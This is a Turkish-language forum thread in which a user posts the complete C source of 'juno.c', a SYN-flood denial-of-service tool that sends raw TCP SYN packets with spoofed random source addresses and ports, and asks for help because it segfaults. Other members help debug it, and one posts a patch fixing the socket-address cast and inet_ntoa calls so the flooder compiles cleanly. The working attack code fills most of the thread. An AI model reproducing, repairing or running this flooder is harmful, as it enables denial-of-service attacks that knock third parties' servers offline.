Jump to content
Forumu Destekleyenlere Katılın ×
Paticik Forumları
2000 lerden beri faal olan, çok şukela bir paylaşım platformuyuz. Hoşgeldiniz.

Derleyemedigim c kodu


Öne çıkan mesajlar

Mesaj tarihi:
Selamlar,

Kod bazilarinin elinde biraz sakincali bir kod ama yine de koyacagim. Hem 32 bit hem de 64 bit sistemlerde denedim ama basarili olamadim. Daha once 32 bit bir sistem ustunde sorun yasamamistim ama.

Kod :



char about[] = "juno.c by Sorcerer of DALnetn";

/*
for best results, compile with:
gcc -O2 juno.c -o juno

thanks to bleach for releasing this for me, I'm too lazy to do it myself

P.S I'd just like to send out a big "get out of the closet" to malkman,
for making useless mods to this source that actually make it *less*
effective. Get a life man.
*/

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#define USELESS_INFO
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */
#define RANDOMIZE_SOURCE_IP /* random source ips */
#define RANDOMIZE_SOURCE_PORT /* random source ports */
#undef DELAY 1000 /* microsecond delay, undef for none */

/* nothing beyond here is useful to people who can't program */

#ifndef EMULATE_WINDOWS
# ifndef EMULATE_LINUX
# define EMULATE_WINDOWS 1
# endif
#endif

struct syn {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
#ifdef EMULATE_WINDOWS
char opt[8];
#else
# ifdef EMULATE_LINUX
char opt[20];
# endif
#endif
};

int resolve(char *name,unsigned long *ip) {
struct hostent *host;

if ((*ip=inet_addr(name)) == INADDR_NONE) {
if (!(host=gethostbyname(name))) return(-1);
*ip=((struct in_addr *)host->h_addr)->s_addr;
}
return(0);
}

int getsock(void) {
int s = socket(PF_INET,SOCK_RAW,6),one=1;

if(s<1) return(0);
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
return(s);
}

int getport(char *s, unsigned short *out)
{
char const *p;
int n;

if(!*s) return(-1);
for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
if(p-s>5) return(-3);
if(((n=atoi(s))>65535) || (n<0)) return(4);
*out=htons(n);
return(0);
}

void prep_syn(struct syn *syn) {
syn->verihl = 69;
syn->len = htons(sizeof(struct syn));
syn->flg_ofs = 64;
syn->proto = 6;
syn->flags = 2;
#ifdef EMULATE_WINDOWS
syn->ttl = 128;
syn->offset = 112;
syn->win = htons(8192);
syn->opt[0] = 2;
syn->opt[1] = 4;
syn->opt[2] = 5;
syn->opt[3] = 0xB4;
syn->opt[4] = 1;
syn->opt[5] = 1;
syn->opt[6] = 4;
syn->opt[7] = 2;
#else
# ifdef EMULATE_LINUX
syn->tos = 16;
syn->ttl = 64;
syn->offset = 160;
syn->win = htons(15536);
syn->opt[0] = 0x02;
syn->opt[1] = 0x04;
syn->opt[2] = 0x0F;
syn->opt[3] = 0x2C;
syn->opt[4] = 0x04;
syn->opt[5] = 0x02;
syn->opt[6] = 0x08;
syn->opt[7] = 0x0A;
syn->opt[9] = 0x05;
syn->opt[10] = 0x27;
syn->opt[11] = 0x2D;
syn->opt[13] = 0x05;
syn->opt[14] = 0x27;
syn->opt[15] = 0x2D;
syn->opt[16] = 0x01;
syn->opt[17] = 0x03;
syn->opt[18] = 0x03;
# endif
#endif
}

int starttime,outcount=0;

int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
register int count = (sizeof(struct syn)-20) >> 1,sum;
register unsigned short *p = &syn->sport;

#ifdef RANDOMIZE_SOURCE_IP
syn->src = random();
#endif
syn->id = 1+255*((random()%256)|0xFF);
#ifdef RANDOMIZE_SOURCE_PORT
syn->sport = htons(1024 + (random() & 2048));
#endif
syn->seq = random();
syn->ack_seq = random();
syn->tcpsum = 0;
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
(syn->dst & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
syn->tcpsum = ~(sum += (sum >> 16));

outcount++;

return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
}

#ifdef RANDOMIZE_SOURCE_IP
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 1
# else
# define SOURCE_PORT_INDEX 1
# define TARGET_IP_INDEX 2
# endif
#else
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 2
# else
# define SOURCE_PORT_INDEX 2
# define TARGET_IP_INDEX 3
# endif
#endif

void sig_proc(int signum) {
int ctime=time(NULL);
printf("n -- statistics -----------------------n");
printf(" packets sent: %dn",outcount);
printf(" bytes sent: %dn",outcount * sizeof(struct syn));
printf(" seconds active: %dn",ctime-starttime);
printf(" average bytes/second: %dn",(outcount * sizeof(struct syn))/(ctime-starttime));
printf(" -------------------------------------n");
exit(1);
}

int main(int argc,char *argv[]) {
struct syn syn;
struct sockaddr_in targ;
int sock;

bzero(&syn,sizeof(struct syn));

if(argc<TARGET_IP_INDEX+2) {
fprintf(stderr,"Syntax: %s ",argv[0]);
#ifndef RANDOMIZE_SOURCE_IP
fprintf(stderr,"<source ip> ");
#endif
#ifndef RANDOMIZE_SOURCE_PORT
fprintf(stderr,"<source port> ");
#endif
fprintf(stderr,"<target ip> <target port>n");
exit(1);
}

if(!(sock=getsock())) {
fprintf(stderr,"Failed to create socketn");
exit(2);
}

#ifndef RANDOMIZE_SOURCE_IP
if(resolve(argv[1],&syn.src)) {
fprintf(stderr,"Invalid source ip (%s)n",argv[1]);
exit(3);
}
#endif

#ifndef RANDOMIZE_SOURCE_PORT
if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {
fprintf(stderr,"Invalid source port (%s)n",argv[SOURCE_PORT_INDEX]);
exit(4);
}
#endif

if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {
fprintf(stderr,"Invalid target ip (%s)n",argv[TARGET_IP_INDEX]);
exit(5);
}

if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {
fprintf(stderr,"Invalid target port (%s)n",argv[TARGET_IP_INDEX+1]);
exit(6);
}

#ifdef USELESS_INFO
printf("%s%s",about,"death");
# ifndef RANDOMIZE_SOURCE_IP
printf(" from %s:",inet_ntoa(syn.src));
# ifndef RANDOMIZE_SOURCE_PORT
printf("%d",ntohs(syn.sport));
# else
printf("random ");
# endif
# else
# ifndef RANDOMIZE_SOURCE_PORT
printf("random:%d",ntohs(syn.sport));
# endif
# endif
printf(" to %s:%dn",inet_ntoa(syn.dst),ntohs(syn.dport));
#endif
targ.sin_addr.s_addr = syn.dst;
targ.sin_port = syn.dport;
targ.sin_family = AF_INET;

srandom(time(NULL));

starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);

signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
// signal(SIGKILL,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
// signal(SIGSTOP,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);

prep_syn(&syn);
while(1) {
if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
fprintf(stderr,"failed to send packetn");
exit(7);
}
#ifdef DELAY
usleep(DELAY);
#endif
}
}




Aldigim hatalar :



tim@ubuntu:~/$ gcc -O2 juno.c -o juno
juno.c:27:14: warning: extra tokens at end of #undef directive
juno.c: In function 'xmit_syn':
juno.c:166: warning: passing argument 5 of 'sendto' from incompatible pointer type
/usr/include/sys/socket.h:155: note: expected 'const struct sockaddr *' but argument is of type 'struct sockaddr_in *'
juno.c: In function 'main':
juno.c:201: warning: incompatible implicit declaration of built-in function 'bzero'
juno.c:258: warning: format '%s' expects type 'char *', but argument 2 has type 'int'

Mesaj tarihi:
Bu arada derleyemedigim demek biraz yanlis olmus. Bu warning'lerle derleyebiliyorum ve calistirinca su su parametreleri girmedin diyor ama dogru sekilde parametre vesaire girince esas yapmasi gereken gorevi yapmiyor ve "segmentation fault" hatasi veriyor.
Mesaj tarihi:
winde derleyemiyorum su an winsocket fln implement etmek lazim
yalniz 166. satirda nedense sockaddr_in in size'sini alamiyor, almasi lazim aslinda
bi soyle denesene orasi icin

struck sockaddr_in in size'ini almak yerine, o sturta yarattigin degiskenin ismini koy. BSD socket referance'ta oyle yapilmis cunku.
Mesaj tarihi:
201de bzero fonksiyonuna yamulmuyorsam adres degil pointer gondermemiz gerekiyordu.
gecen sene sapik gibi yazdiydik bsd icin server client fln ama yazmayinca unutluyor iste.
Mesaj tarihi:
Abi bana yabanci bir dilde konusuyorsun su anda. C'yi zaten zar zor hatirliyorum, ustune benzer tipte bir kodlama hic yapmadim ve kod benim degil.

O yuzden sunu dene bunu dene diyene kadar yapip, yapilmis halini vermen lazim bana =)
Mesaj tarihi:
Exploit demek yanlis olur ama evet epeyce hizli bir syn-flooder oluyor bu nane.

Executable halini degil, duzgun derlenebilir kodunu istiyorum esasen. Yanlisi, cozemedigim kismi neymis onu da merak ediyorum.
Mesaj tarihi:
su patchi uygularsan warningsiz derleniyor, bir tane printf warningi var, inet_ntoa ile ilgili, oda potansiyel crash zaten, belki sef fault sorununuda cozer.



22,24d21
< #include
< #include
< #include
169c166
< return(sendto(sock,syn,sizeof(struct syn),0,(struct sockaddr *) targ,sizeof(struct sockaddr_in)));
---
> return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
202d198
< struct sockaddr_in tmp;
251,252c247
< tmp.sin_addr.s_addr = syn.src;
< printf(" from %s:",inet_ntoa(tmp.sin_addr));
---
> printf(" from %s:",inet_ntoa(syn.src));
263,264c258
< tmp.sin_addr.s_addr = syn.dst;
< printf(" to %s:%dn",inet_ntoa(tmp.sin_addr),ntohs(syn.dport));
---
> printf(" to %s:%dn",inet_ntoa(syn.dst),ntohs(syn.dport));
Mesaj tarihi:
Selam,

Bu patch'i bir yerden mi buldun yoksa oturup yazdin mi ? Zira benim buraya koydugum versiyonu bu sekilde patch'leyemiyorum.

Anason said:

su patchi uygularsan warningsiz derleniyor, bir tane printf warningi var, inet_ntoa ile ilgili, oda potansiyel crash zaten, belki sef fault sorununuda cozer.



22,24d21
< #include
< #include
< #include
169c166
< return(sendto(sock,syn,sizeof(struct syn),0,(struct sockaddr *) targ,sizeof(struct sockaddr_in)));
---
> return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
202d198
< struct sockaddr_in tmp;
251,252c247
< tmp.sin_addr.s_addr = syn.src;
< printf(" from %s:",inet_ntoa(tmp.sin_addr));
---
> printf(" from %s:",inet_ntoa(syn.src));
263,264c258
< tmp.sin_addr.s_addr = syn.dst;
< printf(" to %s:%dn",inet_ntoa(tmp.sin_addr),ntohs(syn.dport));
---
> printf(" to %s:%dn",inet_ntoa(syn.dst),ntohs(syn.dport));
Mesaj tarihi:
reyou said:

di tesekkur etsene adama :)


Calisan bir versiyon gecerse elime neden olmasin. =)

Bekciligimi yapmayi birakin lan. Google'a bakmadan ya da kendim ugrasmadan belese konmuyorum pek.
Mesaj tarihi:
yazdim, patchleyemiyorsan (aslinda copy-paste yapmstim kodunu belki orjinali farklidir) elle duzeltebilirsin zaten 3-5 satir.
di said:

Selam,

Bu patch'i bir yerden mi buldun yoksa oturup yazdin mi ? Zira benim buraya koydugum versiyonu bu sekilde patch'leyemiyorum.

Anason said:

su patchi uygularsan warningsiz derleniyor, bir tane printf warningi var, inet_ntoa ile ilgili, oda potansiyel crash zaten, belki sef fault sorununuda cozer.



22,24d21
< #include
< #include
< #include
169c166
< return(sendto(sock,syn,sizeof(struct syn),0,(struct sockaddr *) targ,sizeof(struct sockaddr_in)));
---
> return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
202d198
< struct sockaddr_in tmp;
251,252c247
< tmp.sin_addr.s_addr = syn.src;
< printf(" from %s:",inet_ntoa(tmp.sin_addr));
---
> printf(" from %s:",inet_ntoa(syn.src));
263,264c258
< tmp.sin_addr.s_addr = syn.dst;
< printf(" to %s:%dn",inet_ntoa(tmp.sin_addr),ntohs(syn.dport));
---
> printf(" to %s:%dn",inet_ntoa(syn.dst),ntohs(syn.dport));
×
×
  • Yeni Oluştur...